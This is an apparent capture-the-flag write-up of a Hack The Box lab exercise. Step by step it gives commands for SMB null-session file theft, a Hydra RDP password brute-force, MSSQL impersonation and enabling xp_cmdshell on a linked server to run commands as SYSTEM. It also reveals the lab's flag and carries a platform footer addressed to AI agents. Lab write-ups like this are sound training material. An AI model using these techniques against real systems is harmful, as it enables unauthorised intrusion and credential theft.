> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/attacking-common-services-task-3.md). # Attacking Common Services(task 3) ## Skill Assessment (Hard) Walkthrough > **HTB Module:** Attacking Common Services **Difficulty:** Hard **Goal:** Find the flag (`HTB{...}`) on the target server **Target:** inlanefreight.htb (WIN-HARD) > > ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2F048m4lks0bjQrRSb7Knk%2Fimage.png?alt=media\&token=addc439d-222f-4dc7-b1df-856938f33f2b) ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FCFY3y2QfmE9uXwIPqVF5%2Fimage.png?alt=media\&token=7cccbb34-52cb-4b5d-afdc-85ed319eea5c) *** ### πŸ“Œ Scenario The third server is another **internal server** used to manage files and working material such as forms. A database is also running on this server β€” we don't know its purpose yet. Time to find out. ### 🎯 Target ``` IP β†’ 10.129.161.2 Host β†’ WIN-HARD ``` ### πŸ—ΊοΈ Attack Chain ``` Nmap β†’ SMB null session (no creds needed) β†’ Home share β†’ IT folder β†’ 3 user dirs (Fiona, John, Simon) β†’ Password files + information.txt hint β†’ Hydra RDP brute-force (fiona) β†’ RDP in β†’ sqlcmd β†’ MSSQL impersonation (john) β†’ Linked server discovery β†’ enable xp_cmdshell β†’ RCE as nt authority\system β†’ flag.txt 🏴 ``` *** *** ## Step 1 β€” Nmap Quick Scan ```bash sudo nmap -p- --min-rate 5000 -T4 10.129.161.2 ``` Open ports: | Port | Service | | -------- | ------------------- | | 135/tcp | MSRPC | | 445/tcp | SMB (microsoft-ds) | | 1433/tcp | MSSQL (ms-sql-s) | | 3389/tcp | RDP (ms-wbt-server) | Windows box with SMB, MSSQL, and RDP. Nice attack surface.
> πŸ“Έ **Image 1** β€” Nmap quick full port scan showing 135, 445, 1433, 3389 open *** ## Step 2 β€” Nmap Service Scan ```bash sudo nmap -p135,445,1433,3389 -sC -sV 10.129.161.2 ``` Key details: | Port | Service / Version | | -------- | ------------------------------------------------- | | 135/tcp | Microsoft Windows RPC | | 445/tcp | microsoft-ds (SMB) | | 1433/tcp | **Microsoft SQL Server 2019 RTM** (15.00.2000.00) | | 3389/tcp | Microsoft Terminal Services (RDP) | Hostname: **WIN-HARD**, SMB signing enabled but **not required**.
> πŸ“Έ **Image 2** β€” Nmap service scan showing MSSQL 2019, RDP, NTLM info (WIN-HARD hostname)
> πŸ“Έ **Image 3** β€” Nmap service scan continued β€” SQL Server 2019 RTM details, RDP cert info, SMB2 signing enabled but not required *** ## Step 3 β€” SMB Null Session β€” Listing Shares No creds? No problem. Try a null session: ```bash smbclient -L //10.129.161.2/ # Password: (just press enter) ``` Shares found: ``` ADMIN$ Disk Remote Admin C$ Disk Default share Home Disk IPC$ IPC Remote IPC ``` The `Home` share is accessible! πŸ‘€
> πŸ“Έ **Image 4** β€” smbclient null session listing shares β€” `Home` share accessible without creds *** ## Step 4 β€” SMB Enumeration β€” IT Folder & User Directories Connect to the `Home` share and dig around: ```bash smbclient //10.129.161.2/Home # Password: (blank) ``` Inside `\IT\` there are three user directories: ``` smb: \IT\> dir Fiona D Fri Apr 22 01:41:53 2022 John D Fri Apr 22 02:45:09 2022 Simon D Fri Apr 22 02:46:07 2022 ```
> πŸ“Έ **Image 5** β€” SMB browsing `\IT\` directory showing three user folders: Fiona, John, Simon *** ## Step 5 β€” Downloading Files from Each User **Fiona's directory:** ``` smb: \IT\Fiona\> dir creds.txt A 118 Fri Apr 22 01:43:11 2022 smb: \IT\Fiona\> get creds.txt ``` **John's directory:** ``` smb: \IT\John\> dir information.txt A 101 Fri Apr 22 02:44:58 2022 notes.txt A 164 Fri Apr 22 02:43:40 2022 secrets.txt A 99 Fri Apr 22 02:45:55 2022 smb: \IT\John\> get information.txt smb: \IT\John\> get notes.txt smb: \IT\John\> get secrets.txt ``` **Simon's directory:** ``` smb: \IT\Simon\> dir random.txt A 94 Fri Apr 22 02:46:48 2022 smb: \IT\Simon\> get random.txt ```
> πŸ“Έ **Image 6** β€” SMB downloading `creds.txt` from Fiona, then browsing John's directory (information.txt, notes.txt, secrets.txt)
> πŸ“Έ **Image 7** β€” SMB browsing Simon's directory containing `random.txt` *** ## Step 6 β€” The Hint: information.txt ```bash cat information.txt ``` ``` To do: - Keep testing with the database. - Create a local linked server. - Simulate Impersonation. ``` This tells us exactly what to look for later: **linked servers** and **impersonation** in MSSQL. 🧠
> πŸ“Έ **Image 8** β€” Contents of `information.txt` β€” hints about linked server and impersonation *** ## Step 7 β€” Combine Password Files & Brute-Force RDP Combine all three password files into one wordlist: ```bash cat creds.txt secrets.txt random.txt > combined_passwords.txt ``` Brute-force RDP with user `fiona`: ```bash hydra -I -l fiona -P creds.txt -s 3389 -f 10.129.161.2 rdp ``` **Hit!** 🎯 Hydra finds valid RDP creds for `fiona`.
> πŸ“Έ **Image 9** β€” Hydra RDP brute-force finding valid credentials for `fiona` *** ## Step 8 β€” RDP Login & MSSQL Access via sqlcmd RDP in as fiona: ```bash xfreerdp /v:10.129.161.2 /u:fiona /p:'' /cert:ignore ``` On the Windows desktop, open `cmd` and launch `sqlcmd` to connect to the local MSSQL instance: ```cmd sqlcmd ``` We're connected to MSSQL as fiona.
> πŸ“Έ **Image 10** β€” RDP session on WIN-HARD as Fiona, running `sqlcmd` in Command Prompt *** ## Step 9 β€” MSSQL Impersonation Check who we can impersonate: ```sql SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' go ``` Result: we can impersonate **john** and **simon**. Impersonate as john: ```sql execute as login = 'john' go SELECT SYSTEM_USER go ``` Confirmed β€” we're now running as `john`.
> πŸ“Έ **Image 11** β€” sqlcmd querying IMPERSONATE permissions β†’ john and simon available, then impersonating as john *** ## Step 10 β€” Linked Server β†’ xp\_cmdshell β†’ Flag Remember the hint: *"Create a local linked server"*. Let's check for linked servers: ```sql SELECT srvname, isremote FROM sysservers go ``` Found: ``` WINSRV02\SQLEXPRESS (remote = 1) LOCAL.TEST.LINKED.SRV (remote = 0) ``` `LOCAL.TEST.LINKED.SRV` is a local linked server! Enable `xp_cmdshell` on it: ```sql EXECUTE('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [LOCAL.TEST.LINKED.SRV] go EXECUTE('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LOCAL.TEST.LINKED.SRV] go ``` Test RCE β€” `whoami`: ```sql EXECUTE('EXEC xp_cmdshell ''whoami'';') AT [LOCAL.TEST.LINKED.SRV] go ``` ``` nt authority\system ``` We're **SYSTEM** on the linked server! πŸ”₯ Now grab the flag: ```sql EXEC ('xp_cmdshell ''type C:\Users\Administrator\Desktop\flag.txt''') AT [LOCAL.TEST.LINKED.SRV] go ``` ``` HTB{46xxxxxxxxxxxxxxx} ```
> πŸ“Έ **Image 12** β€” Linked server discovery, enabling xp\_cmdshell, whoami returns `nt authority\system`, reading flag.txt β†’ `HTB{46u$!n9_l!nk3d_$3rv3r$}` *** ## πŸ† Pwned! SMB null session β†’ password files β†’ RDP brute-force β†’ MSSQL impersonation β†’ linked server xp\_cmdshell β†’ SYSTEM shell β†’ flag. #### Tools Used | Tool | Purpose | | ----------- | -------------------------------------------- | | `nmap` | Port scanning & service detection | | `smbclient` | SMB null session enumeration & file download | | `hydra` | RDP brute-force | | `xfreerdp` | RDP access | | `sqlcmd` | MSSQL client (impersonation + linked server) | *** > **GG 🏴** β€” SMB null session β†’ password files β†’ RDP β†’ MSSQL impersonation β†’ linked server xp\_cmdshell β†’ SYSTEM. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/attacking-common-services-task-3.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.